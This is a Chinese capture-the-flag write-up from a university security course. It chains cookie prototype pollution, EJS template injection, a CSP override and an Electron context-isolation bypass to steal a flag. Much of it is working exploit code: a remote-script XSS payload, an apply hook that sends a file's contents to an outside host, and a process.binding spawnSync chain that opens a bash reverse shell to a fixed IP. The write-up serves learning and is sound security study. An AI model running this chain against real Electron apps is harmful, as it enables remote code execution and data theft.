0%

pollution here, pollution there, pollution everywhere

pollution here, pollution there, pollution everywhere

高级网络攻防课上的一个题,一个原型链污染打electron的题。龚老师要求写报告,就把报告改一下当篇wp记一下。rmb说准备当升级赛题后来又换掉了,太顶级了,完全不会electron,头都被打歪了

但是这门课上起来及其坐牢,每个人都要做web,pwn,re三个方向,会一个方向的就已经非常坐牢了,一个方向都不会的顶级坐牢。最重要的是上课讲的技术就是两句话的介绍,然后实验环节做中等偏低难度的题(这个题顶级难度),跨方向做题无比坐牢。总而言之,这个课上学的东西都不是教的,是给你布置一个奇奇怪怪的题然后自己硬学坐牢学会的。。。
得出结论:不要选这门课!!!不要选这门课!!!不要选这门课!!!

wp

题目分为两部分,server端和bot端,flag放在bot端,可以让bot访问server的页面,bot是用electron写的,看起来就是electron的xss2rce,但是完全不会electron,学了半天也不是很会

cookie原型链污染

server端的功能写了一大堆,能用的就这个原型链污染,加上另一个渲染ejs模板

let userSetting = mergeObject(req.cookies, mergeObject(defaultSetting, {}));

可以使用cookie进行原型链污染,但是正常情况下cookie是不能传递对象的,然后翻cookie.parser文档发现支持特殊语法的”json cookie”:<key>=j:<json_value>

直接a=j:{"b":{"__proto__":"xxxx"}}为所欲为

ejs原型链污染RCE

实现原型链污染后,此处在express运行时进行了chroot,导致没有可用的二进制文件,没法执行命令,只能执行一些js的代码,由于最后肯定是要打bot,所以先弄一个xss出来

实际上ejs的渲染过程是将原模板和一些参数选项拼接上去形成一个函数,最后调用这个函数完成渲染内容,而ejs中原型链污染导致的rce实际上就是在拼接的函数中插入自己的恶意代码,比如此处的escapeFn,所以直接return一个字符串就能实现对模板的完全控制

image-20230401135431071

image-20230401135408945

实际上这个也是没多久前遇到的考点,hxpCTF2022的valentine就是这个东西。。。

CSP控制

控制了模板之后还需要控制CSP,本题设置了较为严格的CSP,起码想随便执行js是不太可能的,需要想办法给他盖掉。这里观察到原型链污染的值会出现在http response header中,大概就能猜出来原型链污染会有所影响,直接猜一个原型链污染一份CSP改成小写的数据上去,然后的确直接覆盖掉原本的csp了

调试一下,发现在setHeader方法中,其将http header先转为小写再进行赋值,此处默认的CSP全称为Content-Security-Policy,通过传一个全小写的content-security-policy上去,转为小写后覆盖原csp
对header对象的遍历赋值好像是for in,这样子会导致遍历到被污染的值

image-20230401140106099

payload

这部分payload如下

a=j:{"a":{"__proto__":{"client": 1, "escape":"{}%3breturn \"content<code id='battle_info'></code><script src='http://www.z3ratu1.cn/poc.js'></script>\"%3b","content-security-policy":"default-src *%3b script-src www.z3ratu1.cn"}}}

直接引入远程脚本免得每次修改js需要修改前面的内容

electron部分

这一步的时间得是前面几部合起来的三倍以上吧。。。完全不会electron

简单的说,electron分为渲染进程和主进程,渲染进程就是我们看到的图形化界面,负责执行页面上的js之类的HTML内容,主进程有着完整的node api接触权,有创建窗口交互执行命令等一系列能力,渲染进程和主进程间是隔离的,用户可控页面的js运行在渲染进程上,再怎么打也不会直接影响到主进程

electron安全参数

推荐阅读:安全|Electron
这里要讲的安全相关的参数有三个Node IntegrationContext Isolationsandbox,开始之前可以先看一下black hat上究极议题的几张图

image-20230402102519340

image-20230402102753140

image-20230402103012977

图中可以看出来,Node Integration启用时,render进程可以直接接触到Node api,XSS就能直接访问node api,一键rce。处于安全考虑,Node Integration一般是关掉的,但这样子的话页面js不能访问node api,electron作为桌面应用程序很多读写文件之类的功能就没法用了(或者写ipc让主进程完成)。为此,提出了preload.js,其将node api中的功能部分暴露出来,并且赋值到window,global等对象上,供页面js调用,页面js就只能以规定的api形式去调用这些功能,安全性++,但这又引入了新的问题,页面js和preload.js运行在一个上下文中,虽然不能直接去拿函数里面能接触nodeapi的对象,但是可以通过原型链污染等方法去控制call,apply之类的函数,如果敏感对象成为了这些方法的调用者或者参数,就可以通过这些对象访问node api,实现rce

为此,Context Isolation选项又被添加了上来,使用和Chrome插件相同的隔离手段,将页面js和preload.js的运行上下文隔离开来,确保了安全性

本题的启动参数如下所示

    const window = new BrowserWindow({
        width: 800,
        height: 600,
        webPreferences: {
            nodeIntegration: false,
            contextIsolation: false,
            webviewTag: false,
            devTools: false,
            preload: path.join(__dirname, 'preload.js')
        }
    })

preload.js如下所示

window.saveLog = async function () {
    let path = await ipcRenderer.invoke("saveLog", {})
    if (path !== null && typeof path === "string") {
        fs.writeFileSync(path, $("#battle_info").innerText);
    }
}

关了contextIsolation并且有preload.js,所以做法就是通过我们的xss做原型链污染,想办法接触到preload.js中导出的能接触node api的对象,并用那个对象做到xss2rce。感觉就挺有意思的,我能执行各种各样的代码,但是我接触不到能执行命令的模块,所以我不能rce,但是我可以通过影响程序的执行去接触到可以接触那些模块的对象,进而实现逃逸,感觉node的vm模块的逃逸好像也是这么个思路

这篇文章对contextIsolation关闭下的利用手法有一个 较为详细的介绍
Electron: Abusing the lack of context isolation

主进程是不用考虑的,进程间隔离说什么也不能跨进程打过去的,除非ipc有奇怪的洞,关了Context Isolation也就是页面js影响一下preload.js罢了

后来又主动看了一点electron的安全措施,Context Isolation启用之后就上下文隔离了也就不能再通过window.func这种形式去导出函数了,两边上下文不一致赋值上去也拿不到,得用专门的导出函数
上下文隔离|Electron

sandbox是用于保护安全的究极手段,启用后渲染进程直接整个与node隔离,只能通过ipc让主进程进行操作,即使写preload.js能够导入的功能也受到了限制,详情还是看文档进程沙盒化|Electron

webviewTag是用来禁用<webview>标签的,这个标签类似于iframe,可以开新页面,而开启新页面的时候可以自行设置自己的webPreferences属性的,一键绕过所有限制。不过好像需要electron自己重新定义默认的webview设置?
verify-webview-options-before-creation

调试electron

调主进程和渲染进程是分开的,webstorm可以通过直接添加如下一个操作调主进程(不过因为我们攻击影响不到主进程,所以调着没啥意义)

image-20230401164639720

渲染进程的话直接在打开的electron app上调,这里rmb在主进程里加了两个buff,分别是webPreferences中的devToolswindow.removeMenu()关闭了dev tools,分别取消掉就可以直接用dev tools调了

    const window = new BrowserWindow({
        width: 800,
        height: 600,
        webPreferences: {
            nodeIntegration: false,
            contextIsolation: false,
            webviewTag: false,
            devTools: true,
            preload: path.join(__dirname, 'preload.js')
        }
    })
    // window.removeMenu()

调试的时候单步也很玄学,和webstorm有时候一样,不先去文件里面下断点进不了库函数,有时候断点步进步进就不知道跳哪去了。。。rmb说后面这个可能是因为异步执行的原因,我感觉很有道理,但前面这个问题不知道怎么解决

题解

一开始是直接套的那个PPT的操作,hook住call,并对所有参数进行检测,发现能拿到一个__webpack_require__对象,然后按照Electron攻击面分析这篇文章一键打通本地,然后whj和我说这个是本地开发环境下才有的东西,用electron-builder --dir生产环境下打包没得。。。遂放弃(然后天哥说虽然本地不通,但是远程docker里用electron-builder --dir打包的又有,他就是这么打通的。。。不懂electron)

然后调了一个晚上没找到哪里能拿process,最后是发现fs的调用环节中hook住apply可以接触到fs对象,可以使用fs对象的readFileSync方法进行任意文件读

写出如下payload

Function.prototype.originApply = Function.prototype.apply

Function.prototype.apply = function (...arg){
    if(typeof this === 'function') {
        if (arg[0] !== undefined && (typeof arg[0].readFileSync) === 'function') {
            Function.prototype.apply = Function.prototype.originApply;
            let flag = arg[0].readFileSync('/flag').toString()
            window.location = "http://requestbin.z3ratu1.cn?"+flag
        }
        return this.originApply(...arg)
    }
};
window.saveLog();

此处存储原apply方法再调用的操作是从赵今那找的,不这样进行恢复的话原程序运行会出问题,然后type of function判断挺抽象的,明明我改的是function的apply,但是还是会有object调用apply然后进了报错挂了。。。不是很懂

由于readFileSync中会调用apply,如果不做修改会导致循环递归爆栈。一开始是声明了一个全局变量,后来看到black hat那个议题里面找到对应类后复原的操作很不错,就改成这个样子。

一开始想了半天fs怎么外带,印象里fs支持url path,然后URL编码绕过之类的trick,但是翻了半天感觉只支持file协议没法外带,最后是whj提醒我这里是js直接跳转外带就可以了。。。只能说已经傻了,局限住了

奇怪的解

whj后来发现在拿到fs对象后,调用cp方法能拿到process对象,但是这个process对象已经是被阉割的对象了,没有mainModule(具体原因不明),也就不能一键打通了,但是他找到一个dlopen方法,类似于udf可以加载一个node的动态链接库,然后用fs的写文件写一个按格式编译出来的.so加载起来完成任意命令执行,只能说很顶级

一万年后的更新

一万年后我们又聊到这个题,原来他们当时还发现了另一个真的rce的办法,通过调用fs的cp方法拿到的process对象虽然没有mainModule,但是可以调用一个binding函数从c库中还原函数出来,然后这里还原了spawn_sync调用rce。这里的normalizeSpawnArgumentsspawnSync是两个美化输出还是干啥的,可以没有

var $ = document.querySelector.bind(document);
$("#noteOutput").innerText = "exp";
Function.prototype.apply2 = Function.prototype.apply;
Function.prototype.apply = function (...args) {
    for (let i in args)
        if (args[i]) {
            console.log(args[i]);
            if (typeof args[i].Stats == "function" && typeof Object.prototype.done == "undefined") {
                function callback(err) {
                    if (err) throw err;
                }

                Object.prototype.done = 1;
                args[i].cp('/tmp/flag', '/tmp/flag1', callback);
            }
            if (args[i]._preload_modules !== undefined) {
                let p = args[i];
                let spawn_sync = p.binding('spawn_sync');
                let normalizeSpawnArguments = function (c, b, a) {
                    if (Array.isArray(b) ? b = b.slice(0) : (a = b, b = []), a === undefined && (a = {}), a = Object.assign({}, a), a.shell) {
                        const g = [c].concat(b).join(' ');
                        typeof a.shell === 'string' ? c = a.shell : c = '/bin/sh', b = ['-c', g];
                    }
                    typeof a.argv0 === 'string' ? b.unshift(a.argv0) : b.unshift(c);
                    var d = a.env || p.env;
                    var e = [];
                    for (var f in d) e.push(f + '=' + d[f]);
                    return {file: c, args: b, options: a, envPairs: e};
                }

                spawnSync = function () {
                    var d = normalizeSpawnArguments.apply(null, arguments);
                    var a = d.options;
                    var c;
                    if (a.file = d.file, a.args = d.args, a.envPairs = d.envPairs, a.stdio = [{
                        type: 'pipe',
                        readable: !0,
                        writable: !1
                    }, {type: 'pipe', readable: !1, writable: !0}, {
                        type: 'pipe',
                        readable: !1,
                        writable: !0
                    }], a.input) {
                        var g = a.stdio[0] = util._extend({}, a.stdio[0]);
                        g.input = a.input;
                    }
                    for (c = 0; c < a.stdio.length; c++) {
                        var e = a.stdio[c] && a.stdio[c].input;
                        if (e != null) {
                            var f = a.stdio[c] = util._extend({}, a.stdio[c]);
                            isUint8Array(e) ? f.input = e : f.input = Buffer.from(e, a.encoding);
                        }
                    }
                    console.log(a);
                    var b = spawn_sync.spawn(a);
                    if (b.output && a.encoding && a.encoding !== 'buffer') for (c = 0; c < b.output.length; c++) {
                        if (!b.output[c]) continue;
                        b.output[c] = b.output[c].toString(a.encoding);
                    }
                    return b.stdout = b.output && b.output[1], b.stderr = b.output && b.output[2], b.error && (b.error = b.error + 'spawnSync ' + d.file, b.error.path = d.file, b.error.spawnargs = d.args.slice(1)), b;
                }
                let xxx = spawnSync("/bin/bash", ["-c", "bash -i >& /dev/tcp/39.107.99.211/9999 0>&1"]);
                console.log(xxx)
            }
        }
    return this.apply2(...args);
}
window.saveLog();